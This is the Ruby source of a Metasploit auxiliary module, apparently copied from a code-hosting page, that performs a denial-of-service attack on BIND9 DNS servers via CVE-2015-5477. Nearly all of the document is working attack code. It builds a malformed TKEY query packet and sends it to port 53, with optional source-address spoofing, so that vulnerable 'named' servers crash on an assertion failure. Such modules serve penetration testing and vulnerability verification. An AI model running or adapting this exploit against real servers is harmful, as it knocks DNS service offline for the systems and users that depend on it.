Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Capture
8
  include Msf::Auxiliary::UDPScanner
9
  include Msf::Auxiliary::Dos
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'BIND TKEY Query Denial of Service',
14
      'Description'    => %q{
15
        This module sends a malformed TKEY query, which exploits an
16
        error in handling TKEY queries on affected BIND9 'named' DNS servers.
17
        As a result, a vulnerable named server will exit with a REQUIRE
18
        assertion failure. This condition can be exploited in versions of BIND
19
        between BIND 9.1.0 through 9.8.x, 9.9.0 through 9.9.7-P1 and 9.10.0
20
        through 9.10.2-P2.
21
      },
22
      'Author'         => [
23
        'Jonathan Foote',      # Original discoverer
24
        'throwawayokejxqbbif', # PoC
25
        'wvu'                  # Metasploit module
26
      ],
27
      'References'     => [
28
        ['CVE', '2015-5477'],
29
        ['URL', 'https://www.isc.org/blogs/cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/'],
30
        ['URL', 'https://kb.isc.org/article/AA-01272']
31
      ],
32
      'DisclosureDate' => '2015-07-28',
33
      'License'        => MSF_LICENSE,
34
      'DefaultOptions' => {'ScannerRecvWindow' => 0}
35
    ))
36

37
    register_options([
38
      Opt::RPORT(53),
39
      OptAddress.new('SRC_ADDR', [false, 'Source address to spoof'])
40
    ])
41

42
    deregister_options('PCAPFILE', 'FILTER', 'SNAPLEN', 'TIMEOUT')
43
  end
44

45
  def scan_host(ip)
46
    if datastore['SRC_ADDR']
47
      scanner_spoof_send(payload, ip, rport, datastore['SRC_ADDR'])
48
    else
49
      print_status("Sending packet to #{ip}")
50
      scanner_send(payload, ip, rport)
51
    end
52
  end
53

54
  def payload
55
    name = Rex::Text.rand_text_alphanumeric(rand(42) + 1)
56
    txt  = Rex::Text.rand_text_alphanumeric(rand(42) + 1)
57

58
    name_length = [name.length].pack('C')
59
    txt_length  = [txt.length].pack('C')
60
    data_length = [txt.length + 1].pack('n')
61
    ttl         = [rand(2 ** 31 - 1) + 1].pack('N')
62

63
    query  = "\x00\x00"  # Transaction ID: 0x0000
64
    query << "\x00\x00"  # Flags: 0x0000 Standard query
65
    query << "\x00\x01"  # Questions: 1
66
    query << "\x00\x00"  # Answer RRs: 0
67
    query << "\x00\x00"  # Authority RRs: 0
68
    query << "\x00\x01"  # Additional RRs: 1
69

70
    query << name_length # [Name Length]
71
    query << name        # Name
72
    query << "\x00"      # [End of name]
73
    query << "\x00\xf9"  # Type: TKEY (Transaction Key) (249)
74
    query << "\x00\x01"  # Class: IN (0x0001)
75

76
    query << name_length # [Name Length]
77
    query << name        # Name
78
    query << "\x00"      # [End of name]
79
    query << "\x00\x10"  # Type: TXT (Text strings) (16)
80
    query << "\x00\x01"  # Class: IN (0x0001)
81
    query << ttl         # Time to live
82
    query << data_length # Data length
83
    query << txt_length  # TXT Length
84
    query << txt         # TXT
85
  end
86
end
87

88